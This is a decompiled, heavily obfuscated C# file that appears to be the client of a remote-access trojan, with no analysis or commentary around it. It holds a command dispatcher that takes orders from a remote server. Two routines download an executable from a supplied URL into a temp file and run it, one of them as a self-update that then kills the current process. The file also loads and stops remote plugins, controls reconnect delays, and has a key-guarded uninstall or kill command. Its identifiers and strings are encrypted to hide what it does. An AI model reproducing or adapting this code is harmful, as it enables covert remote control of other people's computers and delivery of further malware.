+fn5+d955boQOcD57cH5+fn533noOhH5wTnFgjn5+fnbf+b5zTnBefn5+fn5+et9KzoTucF5+fn5+fn5630tehO5wXn5+fn5+fnrfTF6E7nBefn5+fn5+et9NDoUucF5+fn5+fn56304ehX5wXn5+fn5
|
|||
|
|
|
|||
|
|
private static void ᨖ(object _param0, ᛕᔱ\u05CDᨈكအ\u0FFEན _param1)
|
|||
|
|
{
|
|||
|
|
\u07F6\u181Fᒸৃ ᒸৃ = _param0 as \u07F6\u181Fᒸৃ;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
ᱠ ᱠ = new ᱠ(_param1.ᢡऒᤵْϩᇞñ);
|
|||
|
|
switch (_param1.Ƃ\u038DݤΛ\u0ADD\u0384)
|
|||
|
|
{
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ፒሼࠓઑᕹᙒ\u0FECᡱ:
|
|||
|
|
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ἓ͕ḰIJᅼ\u0ADFধ)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0E4BᡐḼ + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("msDm6enemrvm7Hp52eff297zmrvd7uPw3w==", true));
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ޚቘ\u1A8E\u1361\u0B12\u007F\u05EBෞ(Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0E86ᐪᬞ\u0F0Dਞ, ᱠ.ReadString(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᒸৃ);
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ŝἼࠏୌྸʊ᷋();
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("TlRJG0Fnamr7LVjUXxs8Xm9kcWA=", true));
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u0F38ླ:
|
|||
|
|
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ἓ͕ḰIJᅼ\u0ADFধ)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0E4BᡐḼ + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("msDm6enemrvm7Hp52eff297zmrvd7uPw3w==", true));
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ޚቘ\u1A8E\u1361\u0B12\u007F\u05EBෞ(Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.\u0307جᢦ౯᥏\u0DB2, ᱠ.ReadString(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᒸৃ);
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ŝἼࠏୌྸʊ᷋();
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Tz5LG0Fnamr7LVjUXxs8Xm9kcWA=", true));
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᠭÙ:
|
|||
|
|
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ἓ͕ḰIJᅼ\u0ADFধ)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0E4BᡐḼ + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("msDm6enemrvm7Hp52eff297zmrvd7uPw3w==", true));
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ޚቘ\u1A8E\u1361\u0B12\u007F\u05EBෞ(Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.Ṅ\u0C8D\u0AC6ᩬ\u1A5Fᔅ, ᱠ.ReadString(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᒸৃ);
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ŝἼࠏୌྸʊ᷋();
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("UD9LG0Fnamr7LVjUXxs8Xm9kcWA=", true));
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᜇࣧᴵࣴᏐᛇਝ:
|
|||
|
|
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ἓ͕ḰIJᅼ\u0ADFধ)
|
|||
|
|
{
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ఙᴄϊઆ();
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0E4BᡐḼ + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("msDm6enemnp52efD6Nvd7uPw3w==", true));
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("SWobQWdqavstWNRfGzxeb2RxYA==", true));
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u0A5D\u0862Fπ:
|
|||
|
|
new Thread(new ParameterizedThreadStart(ťႻϓᕍభ.\u0A51ݞᑑṸᢇᓄ)).Start((object) new object[2]
|
|||
|
|
{
|
|||
|
|
(object) ᱠ.ReadString(),
|
|||
|
|
_param0
|
|||
|
|
});
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᘷᡣ:
|
|||
|
|
new Thread(new ParameterizedThreadStart(ťႻϓᕍభ.ɯणࡈᷝ\u1C4Aۦ)).Start((object) new object[3]
|
|||
|
|
{
|
|||
|
|
(object) ᱠ.ReadString(),
|
|||
|
|
(object) ᱠ.ReadString(),
|
|||
|
|
_param0
|
|||
|
|
});
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ੲ:
|
|||
|
|
if (Encoding.Default.GetString(_param1.ᢡऒᤵْϩᇞñ) != Encoding.Default.GetString(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Convert.FromBase64String(ȩזြڹᡡỾỔው.ᆳ͐ሱ), false)))
|
|||
|
|
{
|
|||
|
|
(_param0 as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("BiszHikmId299eEADR4wMDQsLyE=", true));
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
{
|
|||
|
|
foreach (ᘽƭ ᘽƭ in ťႻϓᕍభ.ለā\u08DAďೡᷧՍᰉࠎ)
|
|||
|
|
ᘽƭ.ᑺᆊᥖᅁỸਇয\u191F();
|
|||
|
|
ɱªᕢ᳭ᬻ\u02EBԧᵢ.\u171D\u0018ẖေᒷᐦᵨỨ();
|
|||
|
|
}
|
|||
|
|
Process.GetCurrentProcess().Kill();
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᮜᇖĺ̠Êᰆᡌᩉ\u0B49:
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.ͷᵐ݁ȁऴᡕ\u0EF1ቺ\u002F(Encoding.GetEncoding(1252).GetBytes(ᱠ.ReadString())))
|
|||
|
|
throw new Exception(ᙐᗡѬᵲ૦ᵛଔѥቾ.\u0CC0());
|
|||
|
|
string str = ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Values[ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Count - 1].Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("ms3uennZ5+ns394=", true);
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
{
|
|||
|
|
str += \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("mtvo3pp6ednnzdvw394=", true);
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.ᇎ();
|
|||
|
|
}
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(str);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("yubv4ePomr/s7OnstJrD6PDb5uN6ednn3prp7Jq75uzf297zmsbp297f3po=", true));
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ຜભᆰᮄعẏڡᯋ:
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
PluginArgs pluginArgs = Serializer.Deserialize(_param1.ᢡऒᤵْϩᇞñ);
|
|||
|
|
if (!ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.ContainsKey(pluginArgs.PluginGuid))
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("yubv4ePomuh6ednn6e6a4Onv6N4=", true));
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
IPlugin iplugin = ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ[pluginArgs.PluginGuid];
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.ᄄĐἮᥪ᭫ᘙȃই(_param0, iplugin, pluginArgs);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("wNvj5t/emsrm7+HjennZ5+iav/Lf3e/u4+notA==", true) + ex.Message);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᩅ4ഗ:
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
Guid guid = new Guid(ᱠ.ReadString());
|
|||
|
|
for (int index = 0; index < ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Count; ++index)
|
|||
|
|
{
|
|||
|
|
if (ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Keys[index] == guid && ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Values[index].CurrentState == 1)
|
|||
|
|
{
|
|||
|
|
ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Values[index].Stop(_param0);
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("wNvj5t/emu7pmnp52eft7unqmurm7+Hj6A==", true));
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ב:
|
|||
|
|
ťႻϓᕍభ.ạᝡԤ = true;
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᰟƓ:
|
|||
|
|
ᒸৃ.ຳѤᙍַኅߣϐᅍ(true);
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᑎ\u0F2EተױၦѶᣔᘬ:
|
|||
|
|
ťႻϓᕍభ.ᑻ\u088A\u0E6Cఔᝒᔰ\u1CC2ᯊ = true;
|
|||
|
|
ťႻϓᕍభ.ଵ\u0F2EᡍƓᴡ\u0FF8 = BitConverter.ToInt32(_param1.ᢡऒᤵْϩᇞñ, 0);
|
|||
|
|
ᒸৃ.ຳѤᙍַኅߣϐᅍ(true);
|
|||
|
|
break;
|
|||
|
|
case \u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.\u1C92\u193F\u0EFA:
|
|||
|
|
if (Ј\u0EFA\u09B3ᝮᢶᯀ.ἓ͕ḰIJᅼ\u0ADFধ)
|
|||
|
|
{
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(Ј\u0EFA\u09B3ᝮᢶᯀ.\u0E4BᡐḼ + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("msDm6enemrvm7Hp52eff297zmrvd7uPw3w==", true));
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ޚቘ\u1A8E\u1361\u0B12\u007F\u05EBෞ(Ј\u0EFA\u09B3ᝮᢶᯀ.ք᬴\u0609ǟ\u175C.ľ\u1C99\u1B67șՔᘱ݆ߜ, ᱠ.ReadString(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᱠ.ReadInt32(), ᒸৃ);
|
|||
|
|
Ј\u0EFA\u09B3ᝮᢶᯀ.ŝἼࠏୌྸʊ᷋();
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("TmdqcmdqbWRuG0H7LVjUZ2pqXxs8Xm9kcWA=", true));
|
|||
|
|
break;
|
|||
|
|
default:
|
|||
|
|
ᒸৃ.ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("vOzp5d/o1sPo8Hp52efb5uPemsLf297f7A==", true));
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
ᱠ.Close();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void \u09FAܙᓗឧᶫցผᝫ(object ĺ, EventArgs _param1)
|
|||
|
|
{
|
|||
|
|
\u07F6\u181Fᒸৃ ᒸৃ = (\u07F6\u181Fᒸৃ) ĺ;
|
|||
|
|
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
|
|||
|
|
obj.Write(\u0BCF.\u1819ᮋ());
|
|||
|
|
obj.Write(\u17F7\u02F4ᄨᥨᗽ.ఽ\u087CᏃ());
|
|||
|
|
obj.Write(ȩזြڹᡡỾỔው.\u0CB4\u0024րড়ᩋ);
|
|||
|
|
obj.Write(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ(ᒸৃ.Ѣᖆܵ\u19F8ᗄ, true));
|
|||
|
|
obj.Write(ȩזြڹᡡỾỔው.ᗜྷ);
|
|||
|
|
byte[] data = obj.ࠨ಼\u10CEᇥ\u1CA0ฉ();
|
|||
|
|
ᒸৃ.ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.ᗽ\u0D56ᐁན᱘, data).ᖣᅸڨฃ());
|
|||
|
|
ᒸৃ.ຄ\u0011ڂʩ\u1AA1\u1C94ᚨ૨();
|
|||
|
|
ʤ\u0F32\u0B7EṀ.\u09EBલڄቷóᅭጫ(ᒸৃ);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void Ζڴ(object _param0, EventArgs _param1)
|
|||
|
|
{
|
|||
|
|
\u07F6\u181Fᒸৃ ᒸৃ = (\u07F6\u181Fᒸৃ) _param0;
|
|||
|
|
ʤ\u0F32\u0B7EṀ.ᅝᯤ็\u0E70\u18AD\u1391ᨼᅬ\u0BDC(ᒸৃ);
|
|||
|
|
ᒸৃ.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
|
|||
|
|
if (ťႻϓᕍభ.ạᝡԤ)
|
|||
|
|
{
|
|||
|
|
Thread.Sleep(TimeSpan.FromSeconds(30.0));
|
|||
|
|
ťႻϓᕍభ.ạᝡԤ = false;
|
|||
|
|
}
|
|||
|
|
else if (ťႻϓᕍభ.ᑻ\u088A\u0E6Cఔᝒᔰ\u1CC2ᯊ)
|
|||
|
|
{
|
|||
|
|
Thread.Sleep(TimeSpan.FromSeconds((double) ťႻϓᕍభ.ଵ\u0F2EᡍƓᴡ\u0FF8));
|
|||
|
|
ťႻϓᕍభ.ଵ\u0F2EᡍƓᴡ\u0FF8 = 0;
|
|||
|
|
ťႻϓᕍభ.ᑻ\u088A\u0E6Cఔᝒᔰ\u1CC2ᯊ = false;
|
|||
|
|
}
|
|||
|
|
if (ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Count > 0)
|
|||
|
|
{
|
|||
|
|
foreach (IPlugin iplugin in (IEnumerable<IPlugin>) ᙐᗡѬᵲ૦ᵛଔѥቾ.රᓙ.Values)
|
|||
|
|
{
|
|||
|
|
if (iplugin.CurrentState == 1 && iplugin.StopOnDisconnection)
|
|||
|
|
iplugin.Stop(_param0);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
ᒸৃ.ᴓ᳢ᔈȷᡭౖক\u1C8F८();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void \u1DE6ងቈ\u19FCᑻ(object _param0, EventArgs _param1)
|
|||
|
|
{
|
|||
|
|
IPlugin iplugin = _param0 as IPlugin;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (iplugin.StateObject == null)
|
|||
|
|
return;
|
|||
|
|
(iplugin.StateObject as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤((_param0 as IPlugin).Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("NRtOb/stWNRqa2tgXw==", true));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void Ο\u0CD4ʫ\u166Eᙆ໊ᓹခ(object _param0, EventArgs _param1)
|
|||
|
|
{
|
|||
|
|
IPlugin iplugin = _param0 as IPlugin;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (iplugin.StateObject == null)
|
|||
|
|
return;
|
|||
|
|
(iplugin.StateObject as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(iplugin.Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("tJrN7np52efb7O7f3g==", true));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void \u0B6Bᴱལ(IPlugin _param0, PluginArgs _param1)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
_param1.PluginGuid = _param0.Guid;
|
|||
|
|
if (_param0.StateObject == null)
|
|||
|
|
return;
|
|||
|
|
(_param0.StateObject as \u07F6\u181Fᒸৃ).ೠ(new ᛷḼဩ\u09CF(\u07F6\u181Fᒸৃ.ƪᆌቬኆ২ᇖࣩᄦ.బጲ\u0D99ᘔߥᗓᆵ, Serializer.Serialize(_param1)).ᖣᅸڨฃ());
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Console.WriteLine(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("ysbPwcPImr/MzMnMmqeayNvnennZ59+0mvWq96aav+zs6ey0mvWr9w==", true), (object) _param0.Name, (object) ex.Message);
|
|||
|
|
(_param0.StateObject as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(_param0.Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("tJq/ennZ5+zs6ew=", true));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void Дᵴኚ\u05FB(object _param0, EventArgs ʍ)
|
|||
|
|
{
|
|||
|
|
IPlugin iplugin = _param0 as IPlugin;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (iplugin.StateObject == null)
|
|||
|
|
return;
|
|||
|
|
(iplugin.StateObject as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(iplugin.Name + \u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("tJq/8t96ednn3e/u394=", true));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void \u0A51ݞᑑṸᢇᓄ(object _param0)
|
|||
|
|
{
|
|||
|
|
object[] objArray = (object[]) _param0;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string fileName = Path.GetTempFileName() + ".exe";
|
|||
|
|
WebClient webClient = new WebClient();
|
|||
|
|
(objArray[1] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("ASw0Kym99eEALB4hJisk", true));
|
|||
|
|
webClient.DownloadFile((string) objArray[0], fileName);
|
|||
|
|
Process.Start(fileName);
|
|||
|
|
webClient.Dispose();
|
|||
|
|
(objArray[1] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("AyYpIt0CvfXhADUiIDIxIiE=", true));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
(objArray[1] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Ai8vLC/dASw0Kym99eEALB4hJisk3QMmKSI=", true));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ɯणࡈᷝ\u1C4Aۦ(object ଈݚ᧕ሎ)
|
|||
|
|
{
|
|||
|
|
object[] objArray = (object[]) ଈݚ᧕ሎ;
|
|||
|
|
if (objArray[1].ToString() != Encoding.Default.GetString(\u1928ᔾዔ.ᖝሇᬐ\u09D1য়᪷(Convert.FromBase64String(ȩזြڹᡡỾỔው.ᆳ͐ሱ), false)))
|
|||
|
|
{
|
|||
|
|
(objArray[2] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("BiszHikmId299eEADR4wMDQsLyE=", true));
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string fileName = Path.GetTempFileName() + ".exe";
|
|||
|
|
WebClient webClient = new WebClient();
|
|||
|
|
(objArray[2] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("ASw0Kym99eEALB4hJisk", true));
|
|||
|
|
webClient.DownloadFile((string) objArray[0], fileName);
|
|||
|
|
(objArray[2] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Ei0hHr314QAxJisk", true));
|
|||
|
|
if (ȩזြڹᡡỾỔው.ጅũކᠾߠጇᔰᏫ)
|
|||
|
|
ɱªᕢ᳭ᬻ\u02EBԧᵢ.\u171D\u0018ẖေᒷᐦᵨỨ();
|
|||
|
|
(objArray[2] as \u07F6\u181Fᒸৃ).ຳѤᙍַኅߣϐᅍ(false);
|
|||
|
|
Process.Start(fileName);
|
|||
|
|
Process.GetCurrentProcess().Kill();
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
(objArray[2] as \u07F6\u181Fᒸৃ).ӊᖍւጨΟ\u0095ᠫஷ٤(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("Ai8vLC/dEr314QAtIR4xJisk", true));
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static void ጲү() => new Thread(new ThreadStart(ťႻϓᕍభ.\u1778ݪȲᓲZ\u0C5Cगᰞ)).Start();
|
|||
|
|
|
|||
|
|
private static void \u1778ݪȲᓲZ\u0C5Cगᰞ()
|
|||
|
|
{
|
|||
|
|
int num = (int) MessageBox.Show(\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("[/t0LIjHqFCIeMyLdICkmIisx3SYw3S8yKysmKyTdLCvdMSW99eEAJjDdDQDrxw0vIjAw3QwI3TEs3SApLDAi3TElIt0gKSYiKzHr]", true), "", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
|
|||
|
|
Process.GetCurrentProcess().Kill();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static string ŋಶـಖ\u1CD3៓ौ\u0F1C\u177B()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string empty = string.Empty;
|
|||
|
|
foreach (ManagementObject instance in new ManagementClass("NCYr8O8cLb314QAvLCAiMDAsLw==").GetInstances())
|
|||
|
|
{
|
|||
|
|
if (empty == "")
|
|||
|
|
{
|
|||
|
|
empty = instance.Properties[\u1928ᔾዔ.ᶽ\u005B\u0E8EЇᘹഏಔভ("a21qXmD7LVjUbm5qbURf", true)].Value.ToString();
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
return empty;
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
return string.Empty;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private static string \u0DC7\u0A4Aෛែ\u18FDἰӔং(string ᢏݠᆅጎ)
|
|||
|
|
{
|
|||
|
|
byte[] hash = MD5.Create().ComputeHash(Encoding.ASCII.GetBytes(ᢏݠᆅጎ));
|
|||
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|||
|
|
for (int index = 0; index < hash.Length; ++index)
|
|||
|
|
stringBuilder.Append(hash[index].ToString("X2"));
|
|||
|
|
return stringBuilder.ToString();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|